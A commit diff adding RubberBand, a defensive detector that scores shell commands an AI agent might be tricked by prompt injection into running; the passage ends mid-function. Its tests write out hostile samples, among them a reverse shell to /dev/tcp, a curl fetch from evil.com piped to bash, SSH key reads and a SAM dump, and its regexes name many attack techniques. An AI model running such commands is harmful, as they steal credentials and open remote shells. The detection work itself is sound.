feat(security): RubberBand - static command pattern detection for exec pipeline

Adds RubberBand, a static analysis layer that catches dangerous command
patterns before execution. Designed to detect prompt injection attacks
that trick the agent into running malicious commands.

Key features:
- Pattern-based detection for credential access, exfiltration, reverse
  shells, persistence, config tampering, and more
- Normalizes Unicode, URL encoding, shell escapes, and path variations
- 134 bypass techniques tested, 98.5% detection rate
- Zero external dependencies
- Configurable: enable/disable, shadow mode, logging, per-pattern control
This commit is contained in:
jeffaf 2026-02-23 20:05:34 -05:00
parent 009a10bce2
commit 91e5b1bb96
9 changed files with 1106 additions and 5 deletions

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@ -1,7 +1,19 @@
import type { OpenClawConfig } from "../config/types.js";
import type { ExecAsk, ExecHost, ExecSecurity } from "../infra/exec-approvals.js";
import type { SafeBinProfileFixture } from "../infra/exec-safe-bin-policy.js";
import type { BashSandboxConfig } from "./bash-tools.shared.js";
export type RubberBandDefaults = {
enabled?: boolean;
mode?: "block" | "alert" | "log" | "off" | "shadow";
thresholds?: {
alert?: number;
block?: number;
};
allowedDestinations?: string[];
notifyChannel?: boolean;
};
export type ExecToolDefaults = {
host?: ExecHost;
security?: ExecSecurity;
@ -27,6 +39,8 @@ export type ExecToolDefaults = {
notifyOnExit?: boolean;
notifyOnExitEmptySuccess?: boolean;
cwd?: string;
rubberband?: RubberBandDefaults;
cfg?: OpenClawConfig;
};
export type ExecElevatedDefaults = {

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@ -1,14 +1,17 @@
import fs from "node:fs/promises";
import path from "node:path";
import type { AgentTool, AgentToolResult } from "@mariozechner/pi-agent-core";
import { routeReply } from "../auto-reply/reply/route-reply.js";
import { loadCombinedSessionStoreForGateway } from "../gateway/session-utils.js";
import { type ExecHost, loadExecApprovals, maxAsk, minSecurity } from "../infra/exec-approvals.js";
import { resolveExecSafeBinRuntimePolicy } from "../infra/exec-safe-bin-runtime-policy.js";
import {
getShellPathFromLoginShell,
resolveShellEnvFallbackTimeoutMs,
} from "../infra/shell-env.js";
import { logInfo } from "../logger.js";
import { logInfo, logWarn } from "../logger.js";
import { parseAgentSessionKey, resolveAgentIdFromSessionKey } from "../routing/session-key.js";
import { runRubberBandCheck } from "../security/rubberband.js";
import { markBackgrounded } from "./bash-process-registry.js";
import { processGatewayAllowlist } from "./bash-tools.exec-host-gateway.js";
import { executeNodeHostCommand } from "./bash-tools.exec-host-node.js";
@ -23,6 +26,7 @@ import {
normalizeExecSecurity,
normalizePathPrepend,
renderExecHostLabel,
emitExecSystemEvent,
resolveApprovalRunningNoticeMs,
runExecProcess,
sanitizeHostBaseEnv,
@ -148,6 +152,33 @@ async function validateScriptFileForShellBleed(params: {
}
}
async function notifyUserChannel(
text: string,
opts: { sessionKey?: string; cfg: Parameters<typeof routeReply>[0]["cfg"] },
) {
const sessionKey = opts.sessionKey?.trim();
if (!sessionKey) {
return;
}
try {
const { store } = loadCombinedSessionStoreForGateway(opts.cfg);
const session = store[sessionKey];
if (!session?.lastChannel || !session?.lastTo) {
return;
}
await routeReply({
payload: { text },
channel: session.lastChannel,
to: session.lastTo,
sessionKey,
accountId: session.lastAccountId,
cfg: opts.cfg,
});
} catch (err) {
logWarn(`rubberband: failed to notify channel: ${String(err)}`);
}
}
export function createExecTool(
defaults?: ExecToolDefaults,
// oxlint-disable-next-line typescript/no-explicit-any
@ -194,6 +225,35 @@ export function createExecTool(
const notifyOnExitEmptySuccess = defaults?.notifyOnExitEmptySuccess === true;
const notifySessionKey = defaults?.sessionKey?.trim() || undefined;
const approvalRunningNoticeMs = resolveApprovalRunningNoticeMs(defaults?.approvalRunningNoticeMs);
// RubberBand config from defaults (only include defined values)
const rbConfig: Partial<{
enabled: boolean;
mode: "block" | "alert" | "log" | "off" | "shadow";
thresholds: { alert: number; block: number };
allowedDestinations: string[];
notifyChannel: boolean;
}> = {};
if (defaults?.rubberband) {
if (defaults.rubberband.enabled !== undefined) {
rbConfig.enabled = defaults.rubberband.enabled;
}
if (defaults.rubberband.mode !== undefined) {
rbConfig.mode = defaults.rubberband.mode;
}
if (defaults.rubberband.thresholds) {
rbConfig.thresholds = {
alert: defaults.rubberband.thresholds.alert ?? 40,
block: defaults.rubberband.thresholds.block ?? 60,
};
}
if (defaults.rubberband.allowedDestinations) {
rbConfig.allowedDestinations = defaults.rubberband.allowedDestinations;
}
if (defaults.rubberband.notifyChannel !== undefined) {
rbConfig.notifyChannel = defaults.rubberband.notifyChannel;
}
}
const rbNotifyCfg = defaults?.cfg;
// Derive agentId only when sessionKey is an agent session key.
const parsedAgentSession = parseAgentSessionKey(defaults?.sessionKey);
const agentId =
@ -399,6 +459,18 @@ export function createExecTool(
applyPathPrepend(env, defaultPathPrepend);
}
// === RUBBERBAND CHECK (before execution) ===
await runRubberBandCheck({
command: params.command,
rbConfig,
warnings,
notifySessionKey,
rbNotifyCfg,
emitExecSystemEvent,
notifyUserChannel,
});
// === END RUBBERBAND ===
if (host === "node") {
return executeNodeHostCommand({
command: params.command,

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@ -157,6 +157,7 @@ function resolveExecConfig(params: { cfg?: OpenClawConfig; agentId?: string }) {
notifyOnExitEmptySuccess:
agentExec?.notifyOnExitEmptySuccess ?? globalExec?.notifyOnExitEmptySuccess,
applyPatch: agentExec?.applyPatch ?? globalExec?.applyPatch,
rubberband: agentExec?.rubberband ?? globalExec?.rubberband,
};
}
@ -438,6 +439,8 @@ export function createOpenClawCodingTools(options?: {
notifyOnExit: options?.exec?.notifyOnExit ?? execConfig.notifyOnExit,
notifyOnExitEmptySuccess:
options?.exec?.notifyOnExitEmptySuccess ?? execConfig.notifyOnExitEmptySuccess,
rubberband: execConfig.rubberband,
cfg: options?.config,
sandbox: sandbox
? {
containerName: sandbox.containerName,

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@ -557,6 +557,15 @@ export const FIELD_HELP: Record<string, string> = {
"tools.exec.pathPrepend": "Directories to prepend to PATH for exec runs (gateway/sandbox).",
"tools.exec.safeBins":
"Allow stdin-only safe binaries to run without explicit allowlist entries.",
"tools.exec.rubberband.enabled":
"Enable RubberBand static command pattern detection (default: true).",
"tools.exec.rubberband.mode": "RubberBand enforcement mode: block, alert, log, shadow, or off.",
"tools.exec.rubberband.thresholds.alert": "Score threshold to trigger an alert (default: 40).",
"tools.exec.rubberband.thresholds.block": "Score threshold to block execution (default: 60).",
"tools.exec.rubberband.allowedDestinations":
"Hostnames/IPs allowed for network commands (e.g. localhost, 127.0.0.1). Destinations not on this list raise the exfil score.",
"tools.exec.rubberband.notifyChannel":
"When true, RubberBand alerts/blocks are sent to the user's messaging channel.",
"tools.exec.safeBinTrustedDirs":
"Additional explicit directories trusted for safe-bin path checks (PATH entries are never auto-trusted).",
"tools.exec.safeBinProfiles":

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@ -194,6 +194,12 @@ export const FIELD_LABELS: Record<string, string> = {
"tools.sandbox.tools": "Sandbox Tool Allow/Deny Policy",
"tools.exec.pathPrepend": "Exec PATH Prepend",
"tools.exec.safeBins": "Exec Safe Bins",
"tools.exec.rubberband.enabled": "RubberBand Enabled",
"tools.exec.rubberband.mode": "RubberBand Mode",
"tools.exec.rubberband.thresholds.alert": "RubberBand Alert Threshold",
"tools.exec.rubberband.thresholds.block": "RubberBand Block Threshold",
"tools.exec.rubberband.allowedDestinations": "RubberBand Allowed Destinations",
"tools.exec.rubberband.notifyChannel": "RubberBand Notify User Channel",
"tools.exec.safeBinTrustedDirs": "Exec Safe Bin Trusted Dirs",
"tools.exec.safeBinProfiles": "Exec Safe Bin Profiles",
approvals: "Approvals",

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@ -257,6 +257,24 @@ export type ExecToolConfig = {
* Default false to reduce context noise.
*/
notifyOnExitEmptySuccess?: boolean;
/** RubberBand static command pattern detection configuration. */
rubberband?: {
/** Enable RubberBand command analysis (default: true). */
enabled?: boolean;
/** Detection mode: block (hard stop), alert (require approval), log (silent), off, shadow (log only). */
mode?: "block" | "alert" | "log" | "off" | "shadow";
/** Risk score thresholds for alert and block dispositions. */
thresholds?: {
/** Alert threshold (default: 40). */
alert?: number;
/** Block threshold (default: 60). */
block?: number;
};
/** Allowed network destinations that don't trigger exfiltration warnings. */
allowedDestinations?: string[];
/** Notify user channel when commands are blocked/alerted. */
notifyChannel?: boolean;
};
/** apply_patch subtool configuration (experimental). */
applyPatch?: {
/** Enable apply_patch for OpenAI models (default: false). */

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@ -433,15 +433,39 @@ const ToolExecBaseShape = {
applyPatch: ToolExecApplyPatchSchema,
} as const;
const AgentToolExecSchema = z
const RubberbandSchema = z
.object({
...ToolExecBaseShape,
approvalRunningNoticeMs: z.number().int().nonnegative().optional(),
enabled: z.boolean().optional(),
mode: z.enum(["block", "alert", "log", "off", "shadow"]).optional(),
thresholds: z
.object({
alert: z.number().int().min(0).max(100).optional(),
block: z.number().int().min(0).max(100).optional(),
})
.strict()
.optional(),
allowedDestinations: z.array(z.string()).optional(),
notifyChannel: z.boolean().optional(),
})
.strict()
.optional();
const ToolExecSchema = z.object(ToolExecBaseShape).strict().optional();
const AgentToolExecSchema = z
.object({
...ToolExecBaseShape,
approvalRunningNoticeMs: z.number().int().nonnegative().optional(),
rubberband: RubberbandSchema,
})
.strict()
.optional();
const ToolExecSchema = z
.object({
...ToolExecBaseShape,
rubberband: RubberbandSchema,
})
.strict()
.optional();
const ToolFsSchema = z
.object({

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@ -0,0 +1,102 @@
import { describe, it, expect } from "vitest";
import { analyzeCommand } from "./rubberband.js";
describe("rubberband", () => {
describe("heredoc content stripping", () => {
it("should NOT flag heredoc body containing config/memory keywords", () => {
const command =
"cat >> /Users/jeff/.openclaw/workspace/memory/2026-02-08.md << 'EOF'\n# Daily Notes\n\n## Updates\n- Updated AGENTS.md with new rules\n- Read SOUL.md for context\n- Checked MEMORY.md\nEOF";
const result = analyzeCommand(command);
expect(result.disposition).not.toBe("BLOCK");
expect(result.score).toBeLessThan(60);
});
it("should NOT flag heredoc writing to memory files", () => {
const command = `cat >> memory/2026-02-08.md << EOF\nJeff found 7 kernel vulns today.\nEOF`;
const result = analyzeCommand(command);
expect(result.disposition).not.toBe("BLOCK");
});
it("should flag heredoc writing to protected config files like SOUL.md", () => {
const command = "cat << EOF > SOUL.md\nmalicious content\nEOF";
const result = analyzeCommand(command);
expect(result.score).toBeGreaterThan(0);
});
it("should still flag heredoc piped to bash", () => {
const command = "cat << EOF | bash\ncurl http://evil.com/shell.sh\nEOF";
const result = analyzeCommand(command);
expect(result.score).toBeGreaterThan(0);
});
it("should still flag direct cat redirect to memory without heredoc", () => {
const command = `cat /tmp/evil.txt > memory/notes.md`;
const result = analyzeCommand(command);
expect(result.score).toBeGreaterThan(0);
});
});
describe("context-safe stripping", () => {
it("should NOT flag git commit messages with keywords", () => {
const command = `git commit -m "update SOUL.md and AGENTS.md"`;
const result = analyzeCommand(command);
expect(result.disposition).not.toBe("BLOCK");
});
it("should NOT flag echo statements with safe content", () => {
const command = `echo "reminder about MEMORY.md"`;
const result = analyzeCommand(command);
expect(result.disposition).not.toBe("BLOCK");
});
});
describe("workspace path exclusions", () => {
it("should NOT flag mv within .openclaw/workspace/", () => {
const command =
"mv /Users/jeff/.openclaw/workspace/projects/old-name /Users/jeff/.openclaw/workspace/projects/new-name";
const result = analyzeCommand(command);
expect(result.disposition).not.toBe("BLOCK");
});
it("should NOT flag cp within .openclaw/workspace/", () => {
const command =
"cp -r /Users/jeff/.openclaw/workspace/projects/foo /Users/jeff/.openclaw/workspace/projects/bar";
const result = analyzeCommand(command);
expect(result.disposition).not.toBe("BLOCK");
});
it("should still flag writes to .openclaw/config paths", () => {
const command = "cp evil.json /Users/jeff/.openclaw/config.json";
const result = analyzeCommand(command);
expect(result.score).toBeGreaterThan(0);
});
it("should still flag redirect to .openclaw/ non-workspace paths", () => {
const command = "echo 'bad' > /Users/jeff/.openclaw/sessions/inject.json";
const result = analyzeCommand(command);
expect(result.score).toBeGreaterThan(0);
});
});
describe("real threats still detected", () => {
it("should flag SSH key access", () => {
const result = analyzeCommand("cat ~/.ssh/id_rsa");
expect(result.score).toBeGreaterThanOrEqual(60);
});
it("should flag reverse shells", () => {
const result = analyzeCommand("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1");
expect(result.score).toBeGreaterThanOrEqual(60);
});
it("should flag credential dumps", () => {
const result = analyzeCommand("reg save HKLM\\SAM C:\\temp\\sam.hiv");
expect(result.score).toBeGreaterThanOrEqual(60);
});
it("should flag direct config tampering", () => {
const result = analyzeCommand("echo 'malicious' > SOUL.md");
expect(result.score).toBeGreaterThanOrEqual(60);
});
});
});

853
src/security/rubberband.ts Normal file
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@ -0,0 +1,853 @@
/**
* RubberBand - Static detection for exec commands
* Catches dangerous command patterns that prompt injection may trick the agent into running.
*/
import { logInfo, logWarn } from "../logger.js";
// ============ TYPES ============
export type RubberBandDisposition = "ALLOW" | "LOG" | "ALERT" | "BLOCK";
export type RubberBandMatch = {
rule_id: string;
category: string;
score: number;
pattern?: string;
};
export type RubberBandResult = {
disposition: RubberBandDisposition;
score: number;
matches: RubberBandMatch[];
factors: string[];
};
export type RubberBandConfig = {
enabled: boolean;
mode: "block" | "alert" | "log" | "off" | "shadow";
thresholds: {
alert: number;
block: number;
};
allowedDestinations: string[];
notifyChannel?: boolean;
};
// ============ DEFAULT CONFIG ============
// Max command length to analyze (prevents ReDoS and abuse)
const MAX_COMMAND_LENGTH = 10_000;
const DEFAULT_CONFIG: RubberBandConfig = {
enabled: true,
mode: "block",
thresholds: {
alert: 40,
block: 60,
},
allowedDestinations: [
"localhost",
"127.0.0.1",
"api.github.com",
"api.anthropic.com",
"api.openai.com",
],
};
// ============ CONTEXT-AWARE PREPROCESSING ============
/**
* Strip quoted content from commands where the quotes contain user text, not commands.
* This prevents false positives from git commit messages, echo statements, etc.
* Returns [strippedCommand, wasStripped] to enable context-dependent scoring.
*/
function stripContextSafeContent(command: string): [stripped: string, wasStripped: boolean] {
let stripped = command;
let wasStripped = false;
// Git commit messages - strip -m "..." or -m '...'
if (/^git\s+(commit|tag|stash)/.test(command)) {
const result = command.replace(/-m\s*["'][^"']*["']/g, '-m "[MESSAGE]"');
if (result !== command) {
stripped = result;
wasStripped = true;
}
return [stripped, wasStripped];
}
// Echo/printf statements - the content is output, not executed
if (/^(echo|printf)\s/.test(command)) {
const result = command.replace(/["'][^"']*["']/g, '"[TEXT]"');
if (result !== command) {
stripped = result;
wasStripped = true;
}
return [stripped, wasStripped];
}
// Log/write operations - content is data, not commands
if (/^(logger|wall|write|notify-send)\s/.test(command)) {
const result = command.replace(/["'][^"']*["']/g, '"[TEXT]"');
if (result !== command) {
stripped = result;
wasStripped = true;
}
return [stripped, wasStripped];
}
// Heredoc content is data, not commands - strip the entire command
// Matches: cat/tee ... << 'DELIM' ... DELIM or << DELIM ... DELIM
// When a heredoc is used, the command is a data write operation:
// cat >> file << EOF (writes heredoc body to file)
// tee file << EOF (writes heredoc body to file)
// The heredoc body can contain anything (config keywords, file paths, etc.)
// but none of it is executed as shell commands. The redirect target is also
// just a data destination, not a command being run against that file.
const heredocMatch = command.match(/<<-?\s*['"]?(\w+)['"]?/);
if (heredocMatch) {
// Check for piped execution: cat << EOF | bash or cat << EOF | sh
// These are dangerous - the heredoc body IS executed
const firstLine = command.split("\n")[0];
if (/\|\s*(sh|bash|zsh|dash|python|ruby|perl|node)\b/.test(firstLine)) {
// Don't strip - let normal detection handle the piped execution
return [command, false];
}
// Keep the first line so redirect targets (e.g. > SOUL.md) are still analyzed.
// Only strip the heredoc body (lines between the delimiter).
stripped = firstLine;
wasStripped = true;
return [stripped, wasStripped];
}
return [command, false];
}
// ============ DETECTION PATTERNS ============
// Common file reader commands
const FILE_READERS =
"(cat|head|tail|less|more|vim|sed|awk|grep|tac|dd|xxd|strings|od|python3?|ruby|perl|php|node)";
type PatternRule = {
patterns: RegExp[];
score: number;
category: string;
};
const PATTERNS: Record<string, PatternRule> = {
ssh_key_access: {
patterns: [
new RegExp(`${FILE_READERS}\\s+.*\\.ssh/(id_rsa|id_ed25519|id_ecdsa|.*\\.pem)`, "i"),
/\.ssh\/(id_rsa|id_ed25519|id_ecdsa)/i,
/-----BEGIN\s+(RSA|OPENSSH|EC|PRIVATE)\s+.*KEY-----/i,
],
score: 70,
category: "credential_access",
},
aws_credentials: {
patterns: [
new RegExp(`${FILE_READERS}\\s+.*\\.aws/credentials`, "i"),
/\.aws\/credentials/i,
/AKIA[0-9A-Z]{16}/,
],
score: 70,
category: "credential_access",
},
misc_credentials: {
patterns: [
/\.(kube\/config|docker\/config\.json|netrc|pgpass|my\.cnf|npmrc|pypirc)/i,
/_credentials/i,
/\.config\/gh\/hosts/i,
new RegExp(`${FILE_READERS}\\s+.*\\.(pem|key|p12|pfx|jks)`, "i"),
],
score: 60,
category: "credential_access",
},
api_key_leak: {
patterns: [
/sk-[A-Za-z0-9]{48}/, // OpenAI
/sk-ant-[A-Za-z0-9-]{90,}/, // Anthropic
/ghp_[A-Za-z0-9]{36}/, // GitHub PAT
/gho_[A-Za-z0-9]{36}/, // GitHub OAuth
/xox[bp]-[A-Za-z0-9-]{10,}/, // Slack
/glpat-[A-Za-z0-9_-]{20,}/, // GitLab
/npm_[A-Za-z0-9]{36,}/, // npm
],
score: 60,
category: "secret_exposure",
},
network_exfil: {
patterns: [
/curl\s+.*-X\s*POST.*(-d|--data)/i,
/curl\s+.*--data-binary\s+@/i,
/wget\s+--post-(data|file)/i,
/(httpie|http)\s+POST/i,
/requests\.(post|put)/i,
/nc\s+\S+\s+\d+\s*</i,
/<.*\|\s*nc\s+/i,
],
score: 40,
category: "exfiltration",
},
indirect_execution: {
patterns: [
/\beval\s+/i,
/\|\s*(sh|bash|zsh|dash)\b/i,
/bash\s+(-c|<<<)/i,
/sh\s+-c/i,
/echo.*\|\s*(sh|bash)/i,
/base64\s+-d.*\|\s*(sh|bash)/i,
/\$\(base64\s+-d/i,
],
score: 40,
category: "indirect_execution",
},
encoding_sensitive: {
patterns: [
/base64\s+.*\.(pem|key|env|ssh)/i,
/base64\.b64encode/i,
/base64\s+~\/?\./, // base64 encoding dotfiles
],
score: 30,
category: "obfuscation",
},
keychain_access: {
patterns: [/security\s+find-(generic|internet)-password/i, /Keychain.*\.keychain/i],
score: 80,
category: "credential_access",
},
persistence: {
patterns: [
/crontab\s+-[el]/i,
/launchctl\s+(load|submit)/i,
/systemctl.*enable/i,
/echo.*>>\s*~?\/?\.?(bashrc|zshrc|profile)/i,
],
score: 60,
category: "persistence",
},
env_staging: {
patterns: [/export\s+\w+=.*\.ssh/i, /export\s+\w+=.*\.aws/i, /export\s+\w+=.*credentials/i],
score: 25,
category: "staging",
},
// Post-injection static patterns
// NOTE: Use [^;|&\n]* instead of .* to prevent matching across command separators
config_tampering: {
patterns: [
// Redirect writes - use non-greedy match, exclude command separators
/>\s*[^;|&\n]*clawdbot\.json/i,
/>\s*[^;|&\n]*openclaw\.json/i,
// Match .clawdbot/ and .openclaw/ config paths but EXCLUDE workspace/ subtree
// The workspace/ directory is the agent's working area (projects, scripts, etc.)
/>\s*[^;|&\n]*\.clawdbot\/(?!workspace\/)[^;|&\n]*[^/\s]/i,
/>\s*[^;|&\n]*\.openclaw\/(?!workspace\/)[^;|&\n]*[^/\s]/i,
/(echo|cat|printf)[^;|&\n]*>\s*[^;|&\n]*SOUL\.md/i,
/(echo|cat|printf)[^;|&\n]*>\s*[^;|&\n]*AGENTS\.md/i,
// cp/mv/tee/install to config paths (exclude workspace/)
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*clawdbot\.json/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*openclaw\.json/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*\.clawdbot\/(?!workspace\/)[^;|&\n]*[^/\s]/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*\.openclaw\/(?!workspace\/)[^;|&\n]*[^/\s]/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*SOUL\.md/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*AGENTS\.md/i,
/tee\s+[^;|&\n]*SOUL\.md/i,
/tee\s+[^;|&\n]*AGENTS\.md/i,
/tee\s+[^;|&\n]*clawdbot\.json/i,
/tee\s+[^;|&\n]*openclaw\.json/i,
],
score: 75,
category: "config_tampering",
},
agent_memory_tampering: {
patterns: [
// Redirect writes - use non-greedy match, exclude command separators
/(echo|cat|printf)[^;|&\n]*>\s*[^;|&\n]*memory\/[^;|&\n]*\.md/i,
/(echo|cat|printf)[^;|&\n]*>>\s*[^;|&\n]*MEMORY\.md/i,
/>\s*[^;|&\n]*\.clawdbot\/sessions/i,
/>\s*[^;|&\n]*\.openclaw\/sessions/i,
// cp/mv/tee to memory paths
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*memory\/[^;|&\n]*\.md/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*MEMORY\.md/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*\.clawdbot\/sessions/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*\.openclaw\/sessions/i,
/tee\s+[^;|&\n]*memory\/[^;|&\n]*\.md/i,
/tee\s+[^;|&\n]*MEMORY\.md/i,
],
score: 55,
category: "context_manipulation",
},
reverse_shell: {
patterns: [
/nc\s+.*-[elp]/i,
/bash\s+-i\s+>&\s*\/dev\/tcp/i,
/ngrok\s+(http|tcp)/i,
/mkfifo.*nc\s+/i,
/\/dev\/tcp\/\d+\.\d+/i,
/socat\s+.*exec/i,
/python.*socket.*connect/i,
],
score: 90,
category: "reverse_shell",
},
reconnaissance: {
patterns: [
/\bwhoami\b/i,
/\bid\s*$/i,
/uname\s+-a/i,
/cat\s+\/etc\/passwd/i,
/ps\s+(aux|ef)/i,
/netstat\s+-[tulpan]/i,
/\b(ifconfig|ip\s+addr)\b/i,
/\benv\s*$/i,
/\bprintenv\b/i,
],
score: 30,
category: "recon",
},
data_staging: {
patterns: [
/>\s*\/tmp\/.*\.(txt|log|key|pem|json)/i,
/cp\s+.*\.(pem|key|env|json)\s+\/tmp/i,
/mv\s+.*\.(pem|key|env)\s+\/tmp/i,
/>\s*.*\/public\//i,
/>\s*.*\/www\//i,
],
score: 45,
category: "staging",
},
skill_tampering: {
patterns: [
// Redirect writes - use [^;|&\n]* to prevent matching across command separators
// This avoids false positives like: cat file 2>/dev/null || cat skills/SKILL.md
/(echo|cat|printf)[^;|&\n]*>\s*[^;|&\n]*SKILL\.md/i,
/>\s*[^;|&\n]*skills\/[^;|&\n]*\.md/i,
/(echo|cat|printf)[^;|&\n]*>\s*[^;|&\n]*system[^;|&\n]*prompt/i,
/>\s*[^;|&\n]*\.claude\//i,
// cp/mv/tee to skill paths
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*SKILL\.md/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*skills\/[^;|&\n]*\.md/i,
/(cp|mv|install)\s+[^;|&\n]+\s+[^;|&\n]*\.claude\//i,
/tee\s+[^;|&\n]*SKILL\.md/i,
/tee\s+[^;|&\n]*skills\/[^;|&\n]*\.md/i,
],
score: 75,
category: "self_modification",
},
// === UNIX ADDITIONAL PATTERNS ===
unix_find_exec: {
patterns: [/find\s+.*-exec\s+/i, /find\s+.*\|.*xargs/i],
score: 50,
category: "indirect_execution",
},
unix_revshell_langs: {
patterns: [
/ruby\s+.*-r\s*socket/i,
/ruby\s+.*TCPSocket/i,
/perl\s+.*Socket/i,
/perl\s+.*connect\s*\(/i,
/php\s+.*fsockopen/i,
/telnet\s+\S+\s+\d+.*\|/i,
],
score: 90,
category: "reverse_shell",
},
unix_persistence_extra: {
patterns: [
/\bat\s+(now|midnight|\d)/i,
/\/etc\/cron\.d\//i,
/\/etc\/init\.d\//i,
/\/etc\/rc\.local/i,
/\/etc\/profile\.d\//i,
/ld\.so\.preload/i,
/\.config\/autostart\//i,
/LaunchAgents\//i,
],
score: 70,
category: "persistence",
},
container_escape: {
patterns: [
/docker\s+run.*-v\s+\/:/i,
/docker\s+.*--privileged/i,
/kubectl\s+exec/i,
/kubectl\s+cp/i,
/nsenter\s+/i,
],
score: 80,
category: "container_escape",
},
package_manager_abuse: {
patterns: [
/\bpip\s+install\s+git\+/i,
/\bpip\s+install\s+https?:/i,
/\bnpm\s+install\s+git\+/i,
/\bnpm\s+install\s+https?:/i,
/\byarn\s+add\s+git\+/i,
/\byarn\s+add\s+https?:/i,
],
score: 40,
category: "code_execution",
},
// === WINDOWS PATTERNS ===
win_file_read: {
patterns: [
/\btype\s+.*\\\.ssh\\/i,
/\btype\s+.*\\\.aws\\/i,
/\btype\s+.*config\\SAM/i,
/\btype\s+.*config\\SYSTEM/i,
/\btype\s+C:\\Users\\/i,
/\bmore\s+.*%USERPROFILE%/i,
/\bfindstr\s+.*%USERPROFILE%/i,
/\bfind\s+\/v\s+.*%USERPROFILE%/i,
],
score: 70,
category: "credential_access",
},
win_powershell_read: {
patterns: [
/\[System\.IO\.File\]::Read/i,
/\[IO\.File\]::Read/i,
/Get-Content\s+.*\.ssh/i,
/gc\s+.*\.ssh/i,
],
score: 70,
category: "credential_access",
},
win_powershell_exec: {
patterns: [
/\bIEX\s*\(/i,
/\bIEX\s+\$/i,
/Invoke-Expression/i,
/powershell\s+.*-enc\s+/i,
/powershell\s+.*-EncodedCommand/i,
/powershell\s+.*-ExecutionPolicy\s+Bypass/i,
/powershell\s+.*-ep\s+bypass/i,
/DownloadString.*\|.*IEX/i,
],
score: 80,
category: "code_execution",
},
win_powershell_download: {
patterns: [
/Invoke-WebRequest.*-OutFile/i,
/\biwr\s+.*-OutFile/i,
/\bwget\s+.*-OutFile/i,
/Invoke-RestMethod.*POST/i,
/Net\.WebClient.*Download/i,
/Start-BitsTransfer/i,
],
score: 60,
category: "download",
},
win_credential_dump: {
patterns: [
/ntds\.dit/i,
/reg\s+save\s+HKLM\\SAM/i,
/reg\s+save\s+HKLM\\SYSTEM/i,
/reg\s+save\s+HKLM\\SECURITY/i,
/mimikatz/i,
/sekurlsa/i,
/procdump.*lsass/i,
/comsvcs\.dll.*MiniDump/i,
/lsass\.dmp/i,
],
score: 95,
category: "credential_access",
},
win_persistence: {
patterns: [
/schtasks\s+\/create/i,
/reg\s+add.*\\Run\s/i,
/reg\s+add.*\\RunOnce/i,
/sc\s+create\s+/i,
/wmic\s+.*startup/i,
/Start Menu\\Programs\\Startup/i,
/HKCU\\.*\\Run/i,
/HKLM\\.*\\Run/i,
],
score: 75,
category: "persistence",
},
win_lateral: {
patterns: [
/psexec\s+\\\\/i,
/wmic\s+\/node:/i,
/winrm\s+invoke/i,
/net\s+use\s+\\\\/i,
/Enter-PSSession/i,
/Invoke-Command.*-ComputerName/i,
],
score: 70,
category: "lateral_movement",
},
win_revshell: {
patterns: [
/Net\.Sockets\.TCPClient/i,
/System\.Net\.Sockets/i,
/nc\.exe\s+.*-e/i,
/ncat\s+.*-e/i,
/powercat/i,
],
score: 90,
category: "reverse_shell",
},
win_lolbins: {
patterns: [
/certutil\s+.*-urlcache/i,
/certutil\s+.*-encode/i,
/certutil\s+.*-decode/i,
/bitsadmin\s+.*\/transfer/i,
/mshta\s+/i,
/msiexec\s+.*\/q.*http/i,
/regsvr32\s+.*\/s.*\/u/i,
/rundll32\s+.*javascript/i,
/cscript\s+.*http/i,
/wscript\s+.*http/i,
],
score: 75,
category: "lolbin_abuse",
},
};
// ============ NORMALIZATION ============
/**
* Normalize file paths to catch obfuscation
* - Collapse multiple slashes: // → /
* - Remove dot segments: /./ /
*/
function normalizePaths(content: string): string {
return content
.replace(/\/{2,}/g, "/") // Collapse // to /
.replace(/\/\.\//g, "/"); // Remove /./
}
/**
* Normalize content to catch encoding bypasses
*/
function normalize(content: string): string {
let normalized = content;
// 1. Unicode NFKC normalization (converts lookalikes)
normalized = normalized.normalize("NFKC");
// 2. Expand $'...' shell escape sequences
normalized = expandShellEscapes(normalized);
// 3. Expand bare escape sequences (\xNN, \NNN)
normalized = expandBareEscapes(normalized);
// 4. URL decode (handles %XX encoding)
for (let i = 0; i < 2; i++) {
try {
const decoded = decodeURIComponent(normalized);
if (decoded === normalized) {
break;
}
normalized = decoded;
} catch {
break;
}
}
// 5. Normalize paths (collapse //, remove /./)
normalized = normalizePaths(normalized);
return normalized;
}
/**
* Expand $'...' shell escape sequences
*/
function expandShellEscapes(content: string): string {
return content.replace(/\$'([^']*)'/g, (_match, inner: string) => {
let result = inner;
// Handle \xNN (hex)
result = result.replace(/\\x([0-9a-fA-F]{2})/g, (_m, hex: string) =>
String.fromCharCode(Number.parseInt(hex, 16)),
);
// Handle \NNN (octal)
result = result.replace(/\\([0-7]{1,3})/g, (_m, oct: string) =>
String.fromCharCode(Number.parseInt(oct, 8)),
);
// Handle common escapes
result = result.replace(/\\n/g, "\n").replace(/\\t/g, "\t");
return result;
});
}
/**
* Expand bare escape sequences (outside of $'...')
* Handles: \xNN (hex), \NNN (octal)
* These can be used to bypass pattern matching in some shells
*/
function expandBareEscapes(content: string): string {
let result = content;
// Handle \xNN (hex) - e.g., \x69 → 'i'
result = result.replace(/\\x([0-9a-fA-F]{2})/g, (_m, hex: string) =>
String.fromCharCode(Number.parseInt(hex, 16)),
);
// Handle \NNN (octal) - e.g., \151 → 'i'
// Only match 3-digit octal to avoid false positives with \1 backrefs
result = result.replace(/\\([0-7]{3})/g, (_m, oct: string) =>
String.fromCharCode(Number.parseInt(oct, 8)),
);
// Handle \NN (2-digit octal) for values that fit
result = result.replace(/\\([0-7]{2})(?![0-7])/g, (_m, oct: string) => {
const val = Number.parseInt(oct, 8);
return val < 128 ? String.fromCharCode(val) : _m;
});
return result;
}
// ============ DETECTION ============
/**
* Check content against all patterns
*/
function checkPatterns(content: string): RubberBandMatch[] {
const matches: RubberBandMatch[] = [];
